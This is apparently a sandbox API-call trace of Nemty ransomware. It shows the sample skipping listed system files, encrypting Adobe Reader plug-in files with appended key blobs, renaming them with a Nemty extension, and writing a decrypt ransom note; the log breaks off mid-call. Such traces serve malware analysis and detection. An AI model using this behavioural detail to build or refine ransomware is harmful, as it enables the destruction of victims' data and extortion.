pszString="2DWJXbFdJc6T4kN6b64MHj1+8D2pyD3M4fgKDyJkZkaPnCkznLT2x7PSLXCQ7FOI\r\nwi8JPLrBT++YwGvwHU174ZtN8p41Q7hIdVQNl9OHGZzr0l9sDCt40igU3GQyOpV2\r\nlEm7lfZCYFPJAOAlwpze+nDGkThl28JqlLcnqLZCrntUFiEapEy+xX8Wmc+GIkqw\r\nWGya8+JQXbjbxSFZ3OCNcOCcPkkwjQO3EuzyrfJuFam/fhtsZEz1/mFj+yfPAa1J\r\ns6WQsr4SEPx/kQ03pKQR665KKSEu0a2gv3vJ5ntn1pzMlxe9+/9IeDW3tTR8UI71\r\n1YpgmX+0TJVBL0fNAY4wyQ==\r\n", pcchString=0x653e91c) returned 1 [0193.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0193.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0193.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0193.095] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\drvDX9.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\drvdx9.x3d"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.096] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=814992) returned 1 [0193.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0193.096] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.096] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0193.105] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.105] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0193.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0193.105] SetFilePointer (in: hFile=0x254, lDistanceToMove=814992, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc6f90 [0193.106] WriteFile (in: hFile=0x254, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.107] CloseHandle (hObject=0x254) returned 1 [0193.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0193.107] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.107] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0193.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0193.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0193.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.108] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\drvDX9.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\drvdx9.x3d"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\drvDX9.x3d._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\drvdx9.x3d._nemty_kgobjgd_")) returned 1 [0193.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0193.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0193.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0193.111] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x35190, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="drvSOFT.x3d", cAlternateFileName="")) returned 1 [0193.111] lstrcmpiW (lpString1="drvSOFT.x3d", lpString2=".") returned 1 [0193.111] lstrcmpiW (lpString1="drvSOFT.x3d", lpString2="..") returned 1 [0193.111] lstrcmpiW (lpString1="drvSOFT.x3d", lpString2="...") returned 1 [0193.111] lstrcmpiW (lpString1="drvSOFT.x3d", lpString2="windows") returned -1 [0193.111] lstrcmpiW (lpString1="drvSOFT.x3d", lpString2="$RECYCLE.BIN") returned 1 [0193.111] lstrcmpiW (lpString1="drvSOFT.x3d", lpString2="rsa") returned -1 [0193.111] lstrcmpiW (lpString1="drvSOFT.x3d", lpString2="NTDETECT.COM") returned -1 [0193.111] lstrcmpiW (lpString1="drvSOFT.x3d", lpString2="ntldr") returned -1 [0193.111] lstrcmpiW (lpString1="drvSOFT.x3d", lpString2="MSDOS.SYS") returned -1 [0193.111] lstrcmpiW (lpString1="drvSOFT.x3d", lpString2="IO.SYS") returned -1 [0193.111] lstrcmpiW (lpString1="drvSOFT.x3d", lpString2="boot.ini") returned 1 [0193.111] lstrcmpiW (lpString1="drvSOFT.x3d", lpString2="boot.ini") returned 1 [0193.111] lstrcmpiW (lpString1="drvSOFT.x3d", lpString2="AUTOEXEC.BAT") returned 1 [0193.111] lstrcmpiW (lpString1="drvSOFT.x3d", lpString2="ntuser.dat") returned -1 [0193.111] lstrcmpiW (lpString1="drvSOFT.x3d", lpString2="desktop.ini") returned 1 [0193.111] lstrcmpiW (lpString1="drvSOFT.x3d", lpString2="CONFIG.SYS") returned 1 [0193.111] lstrcmpiW (lpString1="drvSOFT.x3d", lpString2="RECYCLER") returned -1 [0193.111] lstrcmpiW (lpString1="drvSOFT.x3d", lpString2="BOOTSECT.BAK") returned 1 [0193.111] lstrcmpiW (lpString1="drvSOFT.x3d", lpString2="bootmgr") returned 1 [0193.111] lstrcmpiW (lpString1="drvSOFT.x3d", lpString2="programdata") returned -1 [0193.111] lstrcmpiW (lpString1="drvSOFT.x3d", lpString2="appdata") returned 1 [0193.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.111] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drvSOFT.x3d", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0193.111] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drvSOFT.x3d", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drvSOFT.x3d", lpUsedDefaultChar=0x0) returned 11 [0193.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.111] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drvSOFT.x3d", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0193.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drvSOFT.x3d", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drvSOFT.x3d", lpUsedDefaultChar=0x0) returned 11 [0193.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drvSOFT.x3d", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0193.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drvSOFT.x3d", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drvSOFT.x3d", lpUsedDefaultChar=0x0) returned 11 [0193.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drvSOFT.x3d", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0193.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drvSOFT.x3d", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drvSOFT.x3d", lpUsedDefaultChar=0x0) returned 11 [0193.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0193.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0193.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0193.112] Sleep (dwMilliseconds=0x5) [0193.126] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26c24330, dwHighDateTime=0x1d561e8)) [0193.126] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x26c24330, dwHighDateTime=0x1d561e8)) [0193.126] GetLastError () returned 0x0 [0193.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.126] GetLastError () returned 0x0 [0193.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.126] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.126] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.126] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0193.126] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="x/6xOqBPYl2nHwKgvGYtbxVmrp53b48GoUu8e2gCVt/854Gld7dO/1lfd1X+McVG\r\nUnvpflvumisp75PJhyhi6A9jfR9XM+6YNGhHahZgVo5OetBzK7HegQ+/cHIpv5hf\r\nBdo2KDkBlF75bo/qn7ek4RaT/usnFNoxwug0biHlMfyVaipbqtMR+atyPRA1+kVB\r\nb76CvxG7WbUoeIIhYoGA9hEt/+7Rysi6oCFBovsNdIZf/M858IYaT3UR6H4FzrcS\r\nvNZU8qX0IIhsSaUWc5k8guy+3H+6KvM4+kZQ2o7Vh6AMG/vANT4pmkP6xtUIlUud\r\nlWwJ44UofHUeJogUrQl8RQ==\r\n", pcchString=0x653e91c) returned 1 [0193.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0193.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0193.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0193.126] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\drvSOFT.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\drvsoft.x3d"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.127] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=217488) returned 1 [0193.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0193.128] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.128] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0193.137] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.137] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0193.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0193.137] SetFilePointer (in: hFile=0x254, lDistanceToMove=217488, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x35190 [0193.137] WriteFile (in: hFile=0x254, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.137] CloseHandle (hObject=0x254) returned 1 [0193.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0193.137] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.137] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0193.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0193.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0193.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.138] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\drvSOFT.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\drvsoft.x3d"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\drvSOFT.x3d._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\drvsoft.x3d._nemty_kgobjgd_")) returned 1 [0193.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0193.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0193.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0193.138] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dbbfec0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="prc", cAlternateFileName="")) returned 1 [0193.138] lstrcmpiW (lpString1="prc", lpString2=".") returned 1 [0193.138] lstrcmpiW (lpString1="prc", lpString2="..") returned 1 [0193.138] lstrcmpiW (lpString1="prc", lpString2="...") returned 1 [0193.139] lstrcmpiW (lpString1="prc", lpString2="windows") returned -1 [0193.139] lstrcmpiW (lpString1="prc", lpString2="$RECYCLE.BIN") returned 1 [0193.139] lstrcmpiW (lpString1="prc", lpString2="rsa") returned -1 [0193.139] lstrcmpiW (lpString1="prc", lpString2="NTDETECT.COM") returned 1 [0193.139] lstrcmpiW (lpString1="prc", lpString2="ntldr") returned 1 [0193.139] lstrcmpiW (lpString1="prc", lpString2="MSDOS.SYS") returned 1 [0193.139] lstrcmpiW (lpString1="prc", lpString2="IO.SYS") returned 1 [0193.139] lstrcmpiW (lpString1="prc", lpString2="boot.ini") returned 1 [0193.139] lstrcmpiW (lpString1="prc", lpString2="boot.ini") returned 1 [0193.139] lstrcmpiW (lpString1="prc", lpString2="AUTOEXEC.BAT") returned 1 [0193.139] lstrcmpiW (lpString1="prc", lpString2="ntuser.dat") returned 1 [0193.139] lstrcmpiW (lpString1="prc", lpString2="desktop.ini") returned 1 [0193.139] lstrcmpiW (lpString1="prc", lpString2="CONFIG.SYS") returned 1 [0193.139] lstrcmpiW (lpString1="prc", lpString2="RECYCLER") returned -1 [0193.139] lstrcmpiW (lpString1="prc", lpString2="BOOTSECT.BAK") returned 1 [0193.139] lstrcmpiW (lpString1="prc", lpString2="bootmgr") returned 1 [0193.139] lstrcmpiW (lpString1="prc", lpString2="programdata") returned -1 [0193.139] lstrcmpiW (lpString1="prc", lpString2="appdata") returned 1 [0193.139] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0193.139] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prc", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="prc", lpUsedDefaultChar=0x0) returned 3 [0193.139] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0193.139] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prc", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="prc", lpUsedDefaultChar=0x0) returned 3 [0193.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0193.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0193.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94398 [0193.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0193.139] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.139] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0193.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0193.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.140] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\prc\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0193.140] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.140] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0193.141] CloseHandle (hObject=0x254) returned 1 [0193.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0193.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94398 | out: hHeap=0x4f90000) returned 1 [0193.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94398 [0193.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0193.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63400d0 [0193.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0193.141] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) 